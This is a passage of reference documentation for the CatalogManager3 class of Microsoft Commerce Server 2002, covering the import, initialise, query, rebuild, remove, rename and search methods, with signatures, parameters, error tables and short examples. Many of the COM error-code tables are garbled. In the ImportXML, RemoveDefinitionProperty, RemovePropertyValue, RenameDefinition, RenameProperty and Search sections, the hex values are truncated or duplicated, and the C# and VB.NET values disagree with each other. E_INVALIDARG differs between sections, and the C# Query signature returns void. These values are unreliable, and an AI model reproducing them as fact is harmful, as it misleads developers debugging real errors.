A Boolean that specifies whether the method should be run synchronously. A value of True indicates that the method will not return until the import is completed. A value of False indicates that the method will return immediately after spawning the import thread. The default is False.
fGenerateFullTextIndexes
A Boolean that specifies whether the method should generate full text indexes. A value of True indicates that indexes should be generated. A value of False indicates that indexes should not be generated. The default is True.
[C#]
vrXML
An object that contains the XML file name or IStream object that is the target of the import.
fUpdateOnly
A bool that specifies whether to update an existing catalog or create a new one. A value of True indicates that if the system contains a catalog whose name is the same as the one specified in the strCatalogName parameter, it will be updated with the imported data. A value of False indicates to delete the catalog if it already exists and create a new one with the imported data.
fRunSynchronously
A bool that specifies whether the method should be run synchronously. A value of True indicates that the method will not return until the import is completed. A value of False indicates that the method will return immediately after spawning the import thread.
fGenerateFullTextIndexes
A bool that specifies whether the method should generate full text indexes. A value of True indicates that indexes should be generated. A value of False indicates that indexes should not be generated. The default is True.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B [Visual Basic .NET] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_FILE_OPEN_ERROR | [C#] 0x8898002 [Visual Basic .NET] &H8898000 | Unable to open the file. Check that the file exists and you have the necessary permissions on the file.
E_CAT_IMPORT_IN_PROGRESS | [C#] 0x8898002 [Visual Basic .NET] &H8898005 | This operation cannot be started because an import operation is currently in progress.
E_CAT_MSXML3_MISSING | [C#] 0x889800C [Visual Basic .NET] &H8898001 | The Catalog import operation was unable to instantiate the XML parser. Please check that msxml3.dll is installed and registered on this machine. Refer to the Commerce Server installation documents for more information.
E_CAT_INVALID_XML | error | There has been an error. See the error message for more information.

Remarks

When performing a partial or delta import (when updating an existing catalog by importing new or changed catalog data), it is important that the schema of the data being imported matches the schema of the existing catalog. For more information about the catalog schema, see Import Semantic.

Notes

  • This method runs in a separate thread. Prior to spawning the thread, it checks that the specified file can be opened and that there is not an existing ExportCSV, ExportXML, ImportCSV, or ImportXML method in progress. Once the new thread is spawned, this method returns immediately, if fRunSynchronously is False, with no errors. Any errors that occurred while importing the catalog are logged to the Windows NT Event Log. Use the Windows Event Viewer to view the Windows NT Event Log.
  • This method cannot be called in a transacted object. This method involves the creation, deletion, or updating of free text indexes. SQL Server does not allow these operations in a transaction.
  • If there is a temporary loss of the SQL Server connection, longer than two minutes, an import or export will be aborted. Other methods should work after the interruption.
  • The names of catalogs in the source file cannot begin with "#" or consist solely of spaces.
  • If a property existing in the catalog has one type and the property of the same name existing in the import file has a different type, the import will fail. For example, the following will cause an error: the catalog has a SKU property that is a string, and the XML file being imported has a SKU property that is an integer.
[Visual Basic .NET]

Example

myCatalogManager.ImportXML("c:\imports\ourcatalog.xml", True)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.ExportXML

CatalogManager3.ImportCSV


CatalogManager3.Initialize Method (PIA)

Use this method to initialize a CatalogManager object. This method should be called once before calling any other methods or properties.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub Initialize(
  strConfigString As String,
  Optional fIsADOConnectionString As Boolean
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void Initialize(
  string strConfigString,
  bool fIsADOConnectionString
);

Parameters

[Visual Basic .NET]
strConfigString
A String that contains the configuration string.
fIsADOConnectionString
A Boolean that determines whether the strConfigString parameter refers to an ADO connection string or a site name. A value of True indicates an ADO connection string. A value of False indicates a site name. The default is False.
[C#]
strConfigString
A string that contains the configuration string.
fIsADOConnectionString
A bool that determines whether the strConfigString parameter refers to an ActiveX Data Object (ADO) connection string or a site name. A value of True indicates an ADO connection string. A value of False indicates a site name.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant Value Description
E_CAT_CATMGR_ALREADY_INITIALIZED

[C#] 0x88980062

[Visual Basic .NET] &H88980062

 The CatalogManager object has already been initialized. Each catalog manager object can be initialized only once.
E_CAT_INVALID_PARAMETER

[C#] 0x889800B6

[Visual Basic .NET] &H889800B6

 The input parameter <parameter number> is invalid
E_CAT_INVALID_NUMFULLTEXT_CATALOGS

[C#] 0x889800E8

[Visual Basic .NET] &H889800E8

 The number of fulltext catalogs to create should be between 0 and 256
E_CAT_CATALOGRESOURCE_INIT_FAILED

[C#] 0x88980030

[Visual Basic .NET] &H88980030

 Unable to read the Product Catalog Resource from the site specified. Check that the Commerce.Adminhlpr component (Adminhlpr.dll) is registered, the site name is valid, and the site contains the Product Catalog Resource.
E_CAT_INVALID_CATALOG_SCHEMA

[C#] 0x889800D8

[Visual Basic .NET] &H889800D8

 The Catalog Schema does not correspond to this version of Commerce Server 2002.
[Visual Basic .NET]

Example

myCatalogManager.Initialize(strConfigString, True)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class


CatalogManager3.Query Method (PIA)

Use this method to perform queries against product, variant, and category data in one or more catalogs.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public Function Query(
  strPhrase As String,
  Optional strCatalogsToSearch As Object,
  Optional eClassTypeRequired As Object,
  Optional strPropertiesToReturn As Object,
  Optional strPropertyToSortOn As Object,
  Optional fSortAscending As Boolean,
  Optional lStartingRecord As Object,
  Optional lRecordsToRetrieve As Object,
  ByRef Optional plTotalRecordsInQuery As Object
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void Query(
  string strPhrase,
  object strCatalogsToSearch,
  object eClassTypeRequired,
  object strPropertiesToReturn,
  object strPropertyToSortOn,
  bool fSortAscending,
  object lStartingRecord,
  object lRecordsToRetrieve,
  ref object plTotalRecordsInQuery
);

Parameters

[Visual Basic .NET]
strPhrase
A String that contains the search phrase.
strCatalogsToSearch
An Object that contains the catalogs to search as a comma-separated list. An empty string indicates search all catalogs.
eClassTypeRequired
An Object that contains the catalog class that you want to find. Valid values are from the CatalogClassTypeEnum enumeration, and are described in the Remarks section.
strPropertiesToReturn
An Object that contains the properties to return as a comma-separated list.
strPropertyToSortOn
An Object that contains the property on which to sort.
fSortAscending
A Boolean that specifies whether to sort in ascending or descending order. A value of True indicates that the returned recordset will be sorted in ascending order. A value of False indicates that the returned recordset will be sorted in descending order. The default value is True.
lStartingRecord
An Object that contains the starting record to retrieve. This is an offset from the first record.
lRecordsToRetrieve
An Object that contains the number of records to retrieve, beginning from the starting record.
plTotalRecordsInQuery
An Object used to return the total number of records matching the query.
[C#]
strPhrase
A string that contains the search phrase.
strCatalogsToSearch
An object that contains the catalogs to search as a comma-separated list. An empty string indicates search all catalogs.
eClassTypeRequired
An object that contains the catalog class desired. Valid values are from the CatalogClassTypeEnum enumeration, and are described in the Remarks section. If you do not want to specify a catalog class, set to Type.Missing.
strPropertiesToReturn
An object that contains the properties to return as a comma-separated list. If a single catalog is specified, set to Type.Missing to return all properties. If multiple catalogs are specified, one or more properties must be specified.
strPropertyToSortOn
An object that contains the property on which to sort. Set to Type.Missing to indicate no sort.
fSortAscending
A bool that specifies whether to sort in ascending or descending order. A value of True indicates that the returned recordset will be sorted in ascending order. A value of False indicates that the returned recordset will be sorted in descending order.
lStartingRecord
An object that contains the starting record to retrieve. This is an offset from the first record. If you do not want to specify a first record, set to Type.Missing.
lRecordsToRetrieve
An object that contains the number of records to retrieve, beginning from the starting record. If you do not want to specify a number, set to Type.Missing.
plTotalRecordsInQuery
An object used to return the total number of records matching the query. An object with the value Type.Missing can be used to indicate that the return value is not needed.

Return Values

If this method completes successfully, it returns the _Recordset interface to a Recordset object containing the search results.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Constant | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B5 [Visual Basic .NET] &H889800B5 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B7 [Visual Basic .NET] &H889800B7 | The recordset pointer that you specified is invalid.
E_INVALIDARG | [C#] 0x80070057 [Visual Basic .NET] &H80070057 | One or more arguments are invalid
E_CAT_INVALID_RETURN_PROPS | [C#] 0x8898011D [Visual Basic .NET] &H8898011D | The properties to return that you specified are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.
E_CAT_INVALID_SORT_PROPS | [C#] 0x8898011E [Visual Basic .NET] &H8898011E | The properties to sort that you specified are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.
S_FALSE | 1 | Query failed. The recordset is now NULL.
E_CAT_MULTI_CAT_QUERY_NEEDS_PROPS | [C#] 0x8898000F [Visual Basic .NET] &H8898000F | When performing a query against multiple catalogs, you should specify the actual properties to return.

Remarks

The returned Recordset object and the plTotalRecordsInQuery parameter contain valid data only if the method completes successfully. The Query method is used to perform arbitrary queries against product, product variant, and category data in one or more catalogs. The strPhrase parameter is very similar to the ADO Recordset Filter property. Simple queries should follow the key-operator-value convention (for example, length < 100). Queries whose value is a String data type should enclose that value in single quotes (for example, color = 'Blue').

More sophisticated queries can be constructed by using the AND and OR operators to group multiple clauses, such as (level > 10) OR (Name = 'Bob' AND Title='CPA').

The programming rules regarding the strPropertiesToReturn parameter vary depending on whether a single catalog name is passed in the strCatalogsToSearch parameter, or whether multiple catalog names are passed. When a single catalog name is passed, the strPropertiesToReturn parameter is optional and defaults to all properties. When multiple catalog names are passed, the strPropertiesToReturn parameter is required.

The following table shows the values of the CatalogClassTypeEnum enumeration, and shows their associated names, and describes their use.

Name | Value | Description
cscCategoryClass | 1 | Requests category data.
cscProductVariantClass | 2 | Requests product variant data.
cscProductClass | 4 | Requests product data.
cscProductFamilyClass | 8 | Requests product family data.
cscProductFamilyForVariantsClass | 16 | Requests family for variant data, which means the product family of a product variant is being requested.
cscProductVariantsForFamily | 32 | Requests variants for family data, which means that all of the product variants for a product family are being requested.

CatalogClassTypeEnum enumeration values can be combined in the eClassTypeRequired parameter with logical OR operators, so that specifying cscProductClass OR cscProductVariantClass will return both product and product variant data.

If no value is specified for the strPropertiesToReturn parameter the method returns all fields in the specified catalog, otherwise it returns only the fields specified in the strPropertiesToReturn parameter.

[Visual Basic .NET]

Example

'plTotalRecordsInQuery is an existing Long.
'Examine it after the method returns to see if
'there are more records to get.
rsQueryResults = myCatalogManager.Query("Productid='blue suede'", _
  "ShoeCatalog", cscProductClass,"Price, SKU, Size", "SKU", TRUE, _
  1, 25, plTotalRecordsInQuery)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.FreeTextSearch


CatalogManager3.RebuildAllVirtualCatalogs Method (PIA)

Use this method to rebuild all the virtual catalogs in the Product Catalog System.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub RebuildAllVirtualCatalogs(
  Optional fRunSynchronously As Boolean,
  Optional fForceRebuild As Boolean
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void RebuildAllVirtualCatalogs(
  bool fRunSynchronously,
  bool fForceRebuild
);

Parameters

[Visual Basic .NET]
fRunSynchronously
A Boolean that specifies whether to run the method synchronously. A value of True indicates that the method should be run synchronously. A value of False indicates that the method should be run asynchronously. The default value is False.
fForceRebuild
A Boolean that specifies whether to force a rebuild. A value of True indicates that all catalogs will be rebuilt. A value of False indicates that only dirty catalogs will be rebuilt. The default value is False.
[C#]
fRunSynchronously
A bool that specifies whether to run the method synchronously. A value of True indicates that the method should be run synchronously. A value of False indicates that the method should be run asynchronously.
fForceRebuild
A bool that specifies whether to force a rebuild. A value of True indicates that all catalogs will be rebuilt. A value of False indicates that only dirty catalogs will be rebuilt.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B5 [Visual Basic .NET] &H889800B5 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.

Remarks

Virtual catalogs will be rebuilt only if there has been a rule change, a product deletion, or a category deletion that would affect the contents of the catalog unless the fForceRebuild parameter is set to True.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

CatalogManager3 Class


CatalogManager3.RemoveCatalogAttribute Method (PIA)

Use this method to remove a catalog attribute from the Product Catalog System.

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub RemoveCatalogAttribute(
  strAttributeName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void RemoveCatalogAttribute(
  string strAttributeName
);

Parameters

[Visual Basic .NET]
strAttributeName
A String that contains the name of the attribute to be removed.
[C#]
strAttributeName
A string that contains the name of the attribute to be removed.

Exceptions

If the attribute specified in the strAttributeName parameter does not exist, the method will complete successfully and return S_OK.

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B5 [Visual Basic .NET] &H889800B5 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_ATTRIBUTE | [C#] 0x88980117 [Visual Basic .NET] &H88980117 | The attribute name you specified is invalid. Attribute names cannot be blank and cannot exceed 36 characters. Attribute names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_BUILTIN_CATALOG_ATTRIBUTE | [C#] 0x889800B0 [Visual Basic .NET] &H889800B0 | The catalog attribute that you specified is a built in catalog attribute and hence cannot be added or removed.
E_CAT_INVALID_PROPERTY_NAME | [C#] 0x889800A2 [Visual Basic .NET] &H889800A2 | The property name you specified is invalid. Property names cannot be blank and cannot exceed 100 characters. Property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_CATALOG_ATTR _DOES_NOT_EXIST | [C#] 0x88980112 [Visual Basic .NET] &H88980112 | The catalog attribute that you specified does not exist.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class


CatalogManager3.RemoveDefinitionProperty Method (PIA)

Use this method to remove the specified property or variant property from the specified definition.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub RemoveDefinitionProperty(
  strDefinitionName As String,
  strPropertyName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void RemoveDefinitionProperty(
  string strDefinitionName,
  string strPropertyName
);

Parameters

[Visual Basic .NET]
strDefinitionName
A String that contains the name of the definition for which the specified property will be removed.
strPropertyName
A String that contains the name of the property to be removed.
[C#]
strDefinitionName
A string that contains the name of the definition for which the specified property will be removed.
strPropertyName
A string that contains the name of the property to be removed.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B [Visual Basic .NET] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_DEFINITION_LENGTH | [C#] 0x889800E [Visual Basic .NET] &H889800A | The definition name that you specified is invalid. Definition names should be between 1 and 128 characters in length.
E_CAT_INVALID_PROPERTY_NAME | [C#] 0x889800A [Visual Basic .NET] &H8898002 | The property name you specified is invalid. Property Names cannot be blank and cannot exceed 100 characters. Property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_DEFINITION_DOESNT_EXIST | [C#] 0x8898000 [Visual Basic .NET] &H889800B | The definition you specified does not exist.
E_CAT_PROP_NOT_IN_DEFINITION | [C#] 0x8898000 [Visual Basic .NET] &H889800E | The property you specified is not part of that definition.

Remarks

When you remove a property from a definition, it is also removed from any products, product variants, or categories created from that definition.

Caution

  • Use caution when using this method. In most cases, calling this method results in the deletion of data.
  • Removing the last variant property in a product family definition will convert it to a product definition and will remove all existing product variants based on this definition.
[Visual Basic .NET]

Example

myCatalogManager.RemoveDefinitionProperty("T-Shirts", "Color")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.AddDefinitionProperty

CatalogManager3.AddDefinitionVariantProperty

CatalogManager3.GetDefinitionProperties


CatalogManager3.RemovePropertyAttribute Method (PIA)

Use this method to remove a custom property attribute from the Product Catalog System.

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub RemovePropertyAttribute(
  strAttName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void RemovePropertyAttribute(
  string strAttName
);

Parameters

[Visual Basic .NET]
strAttName
A String that contains the name of the attribute to be removed.
[C#]
strAttrName
A string that contains the name of the attribute to be removed.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B5 [Visual Basic .NET] &H889800B5 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_ATTRIBUTE | [C#] 0x88980117 [Visual Basic .NET] &H88980117 | The attribute name you specified is invalid. Attribute names cannot be blank and cannot exceed 36 characters. Attribute names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_INVALID_DATATYPE | [C#] 0x88980074 [Visual Basic .NET] &H88980074 | The datatype you specified is invalid
E_CAT_INVALID_PARAMETER | [C#] 0x889800B6 [Visual Basic .NET] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_COLUMN_LENGTH | [C#] 0x88980040 [Visual Basic .NET] &H88980040 | The length specified for this property is not between 1 and 4000.
E_CAT_BUILTIN_ATTRIBUTE | [C#] 0x889800A7 [Visual Basic .NET] &H889800A7 | The property attribute that you specified is a built in attribute and hence cannot be added or removed from the catalog system.
E_CAT_INVALID_PROPERTY_NAME | [C#] 0x889800A2 [Visual Basic .NET] &H889800A2 | The property name you specified is invalid. Property names cannot be blank and cannot exceed 100 characters. Property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_ATTRIBUTE_DOES_NOT_EXIST | [C#] 0x88980111 [Visual Basic .NET] &H88980111 | The property attribute that you specified does not exist

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class


CatalogManager3.RemovePropertyValue Method (PIA)

Use this method to remove a defined value from an enumeration property.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub RemovePropertyValue(
  strPropertyName As String,
  strLegalValue As String,
  Optional strLang As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void RemovePropertyValue(
  string strPropertyName,
  string strLegalValue,
  string strLang
);

Parameters

[Visual Basic .NET]
strPropertyName
A String that contains the name of the enumeration property from which the specified value will be removed.
strLegalValue
A String that contains the defined value to be removed from the specified enumeration property.
strLang
A String that contains the ISO 639+1 language identifier.
[C#]
strPropertyName
A string that contains the name of the enumeration property from which the specified value will be removed.
strLegalValue
A string that contains the defined value to be removed from the specified enumeration property.
strLang
A string that contains the ISO 639+1 language identifier.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B [Visual Basic .NET] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method
E_CAT_INVALID_PROPERTY_NAME | [C#] 0x889800A [Visual Basic .NET] &H8898002 | The property name you specified is invalid. Property names cannot be blank and cannot exceed 100 characters. Property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_INVALID_PARAMETER | [C#] 0x889800B [Visual Basic .NET] &H8898006 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_ENUMERATED_VALUE | [C#] 0x889800E [Visual Basic .NET] &H8898009 | The value you specified for the enumerated property exceeds 128 characters
E_CAT_PROP_DOESNT_EXIST | [C#] 0x8898000 [Visual Basic .NET] &H8898005 | The property name you specified does not exist.
E_CAT_PROP_NOT_ENUM | [C#] 0x8898000 [Visual Basic .NET] &H8898007 | The property you specified is not the "cscEnumeration" data-type. This operation can only be performed on these types of Properties.

Remarks

Caution

  • When a value is removed from an enumeration type property all products that have that property set to that value will have the value changed to null.
[Visual Basic .NET]

Example

myCatalogManager.RemovePropertyValue("Color", "Pink")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.AddPropertyValue

CatalogManager3.GetPropertyValues


CatalogManager3.RenameDefinition Method (PIA)

Use this method to rename a definition.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub RenameDefinition(
  strOldName As String,
  strNewName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
 public void RenameDefinition(
  string strOldName,
  string strNewName
);

Parameters

[Visual Basic .NET]
strOldName
A String that contains the existing name of the definition.
strNewName
A String that contains the wanted name of the definition.
[C#]
strOldName
A string that contains the existing name of the definition.
strNewName
A string that contains the wanted name of the definition.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B [Visual Basic .NET] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_DEFINITION_LENGTH | [C#] 0x889800E [Visual Basic .NET] &H889800A | The definition name that you specified is invalid. Definition names should be between 1 and 128 characters in length.
E_CAT_DEFINITION_EXISTS | [C#] 0x8898000 [Visual Basic .NET] &H889800A | The Definition you specified already exists.
E_CAT_DEFINITION_DOESNT_EXIST | [C#] 0x8898000 [Visual Basic .NET] &H889800B | The Definition you specified does not exist.

Remarks

This method affects every product and category using the definition.

[Visual Basic .NET]

Example

myCatalogManager.RenameDefinition("T-Shirts", "Tee-Shirts")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class

CatalogManager3.RenameProperty


CatalogManager3.RenameProperty Method (PIA)

Use this method to rename a property.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
…
Public Sub RenameProperty(
  strOldPropertyName As String,
  strNewPropertyName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
…
public void RenameProperty(
  string strOldPropertyName,
  string strNewPropertyName
);

Parameters

[Visual Basic .NET]
strOldPropertyName
A String that contains the existing name of the property.
strNewPropertyName
A String that contains the wanted name of the property.
[C#]
strOldPropertyName
A string that contains the existing name of the property.
strNewPropertyName
A string that contains the wanted name of the property.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B [Visual Basic .NET] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_PROPERTY_NAME | [C#] 0x889800A [Visual Basic .NET] &H8898002 | The PropertyName you specified is invalid. property Names cannot be blank and cannot exceed 100 characters. property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_PROP_DOESNT_EXIST | [C#] 0x8898000 [Visual Basic .NET] &H8898005 | The property name you specified does not exist.
E_CAT_PROP_EXISTS | [C#] 0x8898000 [Visual Basic .NET] &H8898003 | The property name you specified already exists.
E_CAT_PROP_IS_ID | [C#] 0x8898001 [Visual Basic .NET] &H8898001 | The property is currently being used as either the Product or Product-Variant unique ID column in one or more Catalogs. All Catalogs using this property as its unique ID must be deleted before this property can be deleted.
[Visual Basic .NET]

Example

myCatalogManager.RenameProperty("Weight", "Wt.")

Requirements

Namespace: Microsoft.CommerceServer.Interop.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: cataloglib (in cataloglib.dll)

See Also

CatalogManager3 Class


CatalogManager3.Search Method (PIA)

Use this method to perform searches against product, variant, and category data in one or more catalogs. This method combines the functionality of the Query and FreeTextSearch methods while adding the capability to specify the language of the returned data.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Catalog
Imports ADODB26Lib     ‘ for _Recordset
…
Public Function Search(
  Optional strSQLClause As Object ,
  Optional strFTSPhrase As Object ,
  Optional strCatalogsToSearch As Object ,
  Optional eClassTypeRequired As Object ,
  Optional strPropertiesToReturn As Object ,
  Optional strPropertyToSortOn As object ,
  Optional fSortAscending As Boolean,
  Optional lStartingRecord As Object ,
  Optional lRecordsToRetrieve As Object ,
  Optional varLanguage As Object ,
  Optional plTotalRecordsInQuery As Object
) As _Recordset
[C#]
using Microsoft.CommerceServer.Interop.Catalog;
using ADODB26Lib;                              //For _Recordset
…
public _Recordset Search(
  object strSQLClause,
  object strFTSPhrase,
  object strCatalogsToSearch,
  object eClassTypeRequired,
  object strPropertiesToReturn,
  object strPropertyToSortOn,
  bool fSortAscending,
  object lStartingRecord,
  object lRecordsToRetrieve,
  object varLanguage,
  ref object plTotalRecordsInQuery
);

Parameters

[Visual Basic .NET]
strSQLClause
An Object that contains the SQL search query.
strFTSPhrase
An Object that contains the free-text search phrase.
strCatalogsToSearch
An Object that contains the catalogs to search as a comma-separated list. An empty string indicates search all catalogs.
eClassTypeRequired
An Object that contains the catalog class wanted. Valid values are from the CatalogClassTypeEnum enumeration, and are described in the Remarks section.
strPropertiesToReturn
An Object that contains the properties to return as a comma-separated list.
strPropertyToSortOn
An Object that contains the property on which to sort. This must be a property in the returned recordset. If not included, the returned recordset will be unsorted.
fSortAscending
A Boolean that specifies whether to sort in ascending or descending order. A value of True indicates that the returned recordset will be sorted in ascending order. A value of False indicates that the returned recordset will be sorted in descending order. The default value is True.
lStartingRecord
An Object that contains the starting record to retrieve. A value of one (1) indicates the first record.
lRecordsToRetrieve
An Object that contains the number of records to retrieve, beginning from the starting record. A value of minus one (-1) indicates return all records.
varLanguage
An Object that contains the ISO 639+1 language identifier.
plTotalRecordsInQuery
An Object used to return the total number of records matching the query.
[C#]
strSQLClause
An object that contains the SQL search query.
strFTSPhrase
An object that contains the free-text search phrase.
strCatalogsToSearch
An object that contains the catalogs to search as a comma-separated list. An empty string indicates search all catalogs.
eClassTypeRequired
An object that contains the catalog class wanted. Valid values are from the CatalogClassTypeEnum enumeration, and are described in the Remarks section.
strPropertiesToReturn
An object that contains the properties to return as a comma-separated list.
strPropertyToSortOn
An object that contains the property on which to sort. This must be a property in the returned recordset. If not included, the returned recordset will be unsorted.
fSortAscending
A bool that specifies whether to sort in ascending or descending order. A value of True indicates that the returned recordset will be sorted in ascending order. A value of False indicates that the returned recordset will be sorted in descending order. The default value is True.
lStartingRecord
An object that contains the starting record to retrieve. A value of one (1) indicates the first record.
lRecordsToRetrieve
An object that contains the number of records to retrieve, beginning from the starting record. A value of minus one (-1) indicates return all records.
varLanguage
An object that contains the ISO 639+1 language identifier.
plTotalRecordsInQuery
An object used to return the total number of records matching the query.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns the _Recordset interface to a Recordset object that contains the search results.

[C#] This method returns a _Recordset interface to a Recordset object that will be used to return the query results.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

The following table shows the custom COM errors that a COMException can wrap.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C#] 0x889800B [Visual Basic .NET] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_RS_POINTER | [C#] 0x889800B [Visual Basic .NET] &H8898007 | The recordset pointer that you specified is invalid.
E_INVALIDARG | [C#] 0x8007005 [Visual Basic .NET] &H8007007 | One or more arguments are invalid.
E_CAT_INVALID_RETURN_PROPS | [C#] 0x8898011 [Visual Basic .NET] &H889801D | The properties to return that you specified are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.
E_CAT_INVALID_SORT_PROPS | [C#] 0x8898011 [Visual Basic .NET] &H889801E | The Properties to sort that you specified are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.
S_FALSE | 1 | The search Failed. The recordset is now set to NULL.
